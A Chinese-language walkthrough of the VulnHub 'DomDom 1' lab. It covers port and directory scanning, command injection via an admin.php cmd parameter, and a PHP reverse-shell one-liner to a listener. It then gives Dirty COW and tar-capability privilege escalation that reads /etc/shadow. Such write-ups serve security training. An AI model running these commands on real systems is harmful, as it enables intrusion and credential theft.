靶场下载地址：

https://www.vulnhub.com/entry/domdom-1,328/

一、信息收集

获取主机ip

nmap -sP 192.168.16.0/24netdiscover  -r 192.168.16.0/24

端口版本获取

 nmap -sV -sC -A  -p 1-65535 192.168.16.209

开放端口只有80

目录扫描

这里扫描php后缀的文件

gobuster  dir -u http://192.168.16.209    -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php

这里扫描出两个目录一个/index.php,一个 /admin.php.

二、RCE漏洞利用

查看登录的网站

抓包

使用burpsuite抓取登录后的包

把index.php更改为admin.php,发现存在cmd执行

参数更改：

name=ad&username=ad&password=ad&access=access&cmd=ls

命令被成功执行

nc反弹

1.开启监听

nc -lvnp 9002

2.反弹shell

这里使用python的shell

php -r '$sock=fsockopen("192.168.16.180",9002);exec("/bin/sh -i <&3 >&3 2>&3");'

进行加密后执行

会话获取成功

切换bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

这里推荐一个

https://www.revshells.com/ 网站生成反弹shell网站

三、方法一、脏牛提权

获取版本

uname -a

得到系统版本为Linux ubuntu 4.4.0-21-generic

漏洞检测

漏洞检测脚本进行检测 https://github.com/mzet-/linux-exploit-suggester

下载到kali

使用

python -m http.server

或者直接

wget https://github.com/The-Z-Labs/linux-exploit-suggester/blob/master/linux-exploit-suggester.sh   

添加上执行权限

chomd +x  linux-exploit-suggester.sh

执行

脏牛漏洞利用

exp下载：wget https://www.exploit-db.com/download/40616

编译：这里编译会报错，不用管

gcc exp.c -o exp -pthread

添加执行权限

chmod +x  exp

运行，提权成功

四、方法二、密码登陆提权

Linux系统利用可执行文件的Capabilities实现权限提升 - FreeBuf网络安全行业门户

Capabilities机制是在Linux内核2.2之后引入的，原理很简单，就是将之前与超级用户root（UID=0）关联的特权细分为不同的功能组

“Capabilities”（能力机制）是一种计算机安全模型，用于限制一个进程或用户在操作系统中能够执行的特定操作。它基于原则，即每个主体（进程或用户）只被授予执行特定操作所需的最低权限。

1.现在假设管理员对一些可执行文件设置了capabilities。测试人员通过下面的命令查找这些文件：

getcap -r / 2>/dev/null

2.Linux内核中Capabilities的实现机制对比

linux Capabilities简介–#setcap cap_net_raw,cap_net_admin=eip /a.out | (moonsec.com)

这里tar命令，可以绕过文件的读权限检查以及目录的读/执行权限的检查。

/bin/tar = cap_dac_read_search+ep

利用此特性我们可以读取系统中的敏感信息。

tar cvf shadow.tar /etc/shadow  //创建压缩文件

tar -xvf shadow.tar  //解压缩

chmod +r shadow  //赋予读权限

cat shadow | grep root  //查看shadow文件的内容

读取了/etc/shadow文件的内容

这里

tar -cvf domom.tar /home/domom
#打包home下的目录

解压

tar -xvf domom.tar

切换目录到桌面

ls 发现有个README.md，查看最后得到密码Mj7AGmPR-m&Vf>Ry{}LJRBS5nc+*V.#a

登录成功